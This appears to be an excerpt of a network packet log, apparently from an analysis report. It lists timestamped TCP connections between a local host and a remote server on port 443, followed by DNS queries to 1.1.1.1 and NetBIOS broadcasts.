Oct 29, 2024 10:47:57.199796915 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.199831963 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.199860096 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.199875116 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.202637911 CET	49899	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.202678919 CET	443	49899	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.202752113 CET	49899	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.202888966 CET	49899	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.202903986 CET	443	49899	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.275306940 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.275387049 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.275434971 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.275445938 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.275562048 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.275682926 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.275855064 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.275855064 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.275877953 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.275892973 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.278889894 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.278955936 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.279025078 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.279304981 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.279340029 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.286227942 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.286379099 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.286462069 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.286580086 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.286603928 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.286626101 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.286634922 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.288791895 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.288817883 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.288897038 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.289055109 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.289068937 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.301412106 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.301651001 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.301878929 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.301978111 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.301995039 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.302011013 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.302017927 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.303843975 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.303915024 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.303987980 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.304131031 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.304161072 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.818658113 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.819134951 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.819149971 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.819638014 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.819645882 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.946574926 CET	443	49899	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.947191954 CET	49899	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.947210073 CET	443	49899	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.947721004 CET	49899	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.947729111 CET	443	49899	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.949944973 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.950087070 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.950344086 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.950391054 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.950408936 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.950418949 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.950423956 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.952897072 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.952934980 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.953020096 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.953293085 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.953309059 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.028851986 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.029303074 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.029320955 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.030184984 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.030193090 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.039228916 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.039652109 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.039668083 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.039994001 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.039999962 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.043978930 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.045947075 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.045969009 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.046428919 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.046439886 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.076946020 CET	443	49899	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.077116013 CET	443	49899	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.077203035 CET	49899	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.077480078 CET	49899	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.077502966 CET	443	49899	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.077517986 CET	49899	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.077527046 CET	443	49899	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.089004040 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.089042902 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.089095116 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.089220047 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.089234114 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.161340952 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.161371946 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.161425114 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.161454916 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.161521912 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.162853003 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.162853003 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.162872076 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.162884951 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.166022062 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.166059017 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.166127920 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.166260004 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.166273117 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.174757004 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.174920082 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.174993992 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.175194979 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.175206900 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.175240993 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.175247908 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.185755014 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.185791016 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.185868979 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.185996056 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.186014891 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.374270916 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.374428988 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.374516964 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.374718904 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.374718904 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.374742985 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.374753952 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.378032923 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.378072977 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.378209114 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.378370047 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.378391027 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.687438965 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.690938950 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.690938950 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.690958977 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.690968990 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.816915989 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.817226887 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.817295074 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.817373037 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.817373037 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.817395926 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.817405939 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.820112944 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.820139885 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.820602894 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.820602894 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.820626020 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.831830978 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.832684040 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.832684040 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.832710028 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.832731962 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.895036936 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.895411015 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.895436049 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.895876884 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.895883083 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.939841032 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.940555096 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.940555096 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.940572023 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.940591097 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.962671995 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.962707996 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.962757111 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.962799072 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.962907076 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.962939978 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.962955952 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.962970018 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.962977886 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.965384960 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.965421915 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:58.965528011 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.965704918 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:58.965717077 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.025681973 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.025768042 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.025995016 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.025995016 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.026081085 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.026097059 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.028592110 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.028625011 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.028830051 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.028970957 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.028994083 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.072787046 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.073029041 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.073204041 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.073338032 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.073338032 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.073358059 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.073370934 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.075927019 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.075963974 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.076313972 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.076313972 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.076348066 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.129856110 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.130317926 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.130356073 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.130786896 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.130795956 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.257570028 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.257752895 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.257808924 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.258078098 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.258100986 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.258111000 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.258117914 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.260970116 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.261096954 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.261182070 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.261332989 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.261373043 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.550766945 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.551274061 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.551290989 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.551789999 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.551798105 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.681406975 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.681443930 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.681546926 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.681560040 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.681668997 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.681797028 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.681813955 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.681829929 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.681838036 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.684484005 CET	49913	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.684529066 CET	443	49913	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.684596062 CET	49913	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.684792042 CET	49913	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.684808016 CET	443	49913	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.699299097 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.699672937 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.699695110 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.700325012 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.700330973 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.800654888 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.801161051 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.801172972 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.801721096 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.801727057 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.819797039 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.820293903 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.820328951 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.820743084 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.820750952 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.830410004 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.830617905 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.830688000 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.830722094 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.830722094 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.830741882 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.830754995 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.833220959 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.833302021 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.833390951 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.833549976 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.833580017 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.936834097 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.936927080 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.937098980 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.937225103 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.937225103 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.937243938 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.937256098 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.940759897 CET	49915	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.940830946 CET	443	49915	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.940917015 CET	49915	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.941199064 CET	49915	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.941230059 CET	443	49915	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.951836109 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.951901913 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.952029943 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.952080011 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.952080011 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.952111006 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.952136993 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.954585075 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.954674006 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:59.954758883 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.954890013 CET	49916	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:59.954926968 CET	443	49916	13.107.246.45	192.168.2.4
Oct 29, 2024 10:48:00.019912004 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 10:48:00.020356894 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:48:00.020402908 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 10:48:00.020813942 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:48:00.020829916 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 10:48:00.152910948 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 10:48:00.152991056 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 10:48:00.153125048 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 10:48:00.153161049 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:48:00.153326988 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:48:00.153326988 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:48:00.153351068 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 10:48:00.153379917 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:48:00.153389931 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 10:48:00.155987978 CET	49917	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:48:00.156048059 CET	443	49917	13.107.246.45	192.168.2.4
Oct 29, 2024 10:48:00.156205893 CET	49917	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:48:00.156341076 CET	49917	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:48:00.156358004 CET	443	49917	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 10:46:39.987693071 CET	53	50077	1.1.1.1	192.168.2.4
Oct 29, 2024 10:46:40.089359045 CET	53	58373	1.1.1.1	192.168.2.4
Oct 29, 2024 10:46:41.373198032 CET	53	51646	1.1.1.1	192.168.2.4
Oct 29, 2024 10:46:41.691709042 CET	61814	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:46:41.691836119 CET	57581	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:46:41.701817989 CET	53	61814	1.1.1.1	192.168.2.4
Oct 29, 2024 10:46:41.704889059 CET	53	57581	1.1.1.1	192.168.2.4
Oct 29, 2024 10:46:43.948676109 CET	58680	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:46:43.951080084 CET	57837	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:46:43.956322908 CET	53	58680	1.1.1.1	192.168.2.4
Oct 29, 2024 10:46:43.958538055 CET	53	57837	1.1.1.1	192.168.2.4
Oct 29, 2024 10:46:56.461875916 CET	138	138	192.168.2.4	192.168.2.255
Oct 29, 2024 10:46:58.429987907 CET	53	63488	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:06.743940115 CET	53175	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:06.744287014 CET	51786	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:06.745984077 CET	54253	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:06.746674061 CET	60681	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:06.748492956 CET	137	137	192.168.2.4	192.168.2.255
Oct 29, 2024 10:47:06.751724005 CET	53	51786	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:06.751743078 CET	53	53175	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:06.757114887 CET	53	54253	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:06.757132053 CET	53	60681	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:07.512223959 CET	137	137	192.168.2.4	192.168.2.255
Oct 29, 2024 10:47:08.272931099 CET	137	137	192.168.2.4	192.168.2.255
Oct 29, 2024 10:47:08.690169096 CET	51944	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:08.690520048 CET	60289	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:08.698158026 CET	53	51944	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:08.703285933 CET	53	60289	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:08.709125042 CET	57201	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:08.709316969 CET	53537	53	192.168.2.4	1.1.1.1
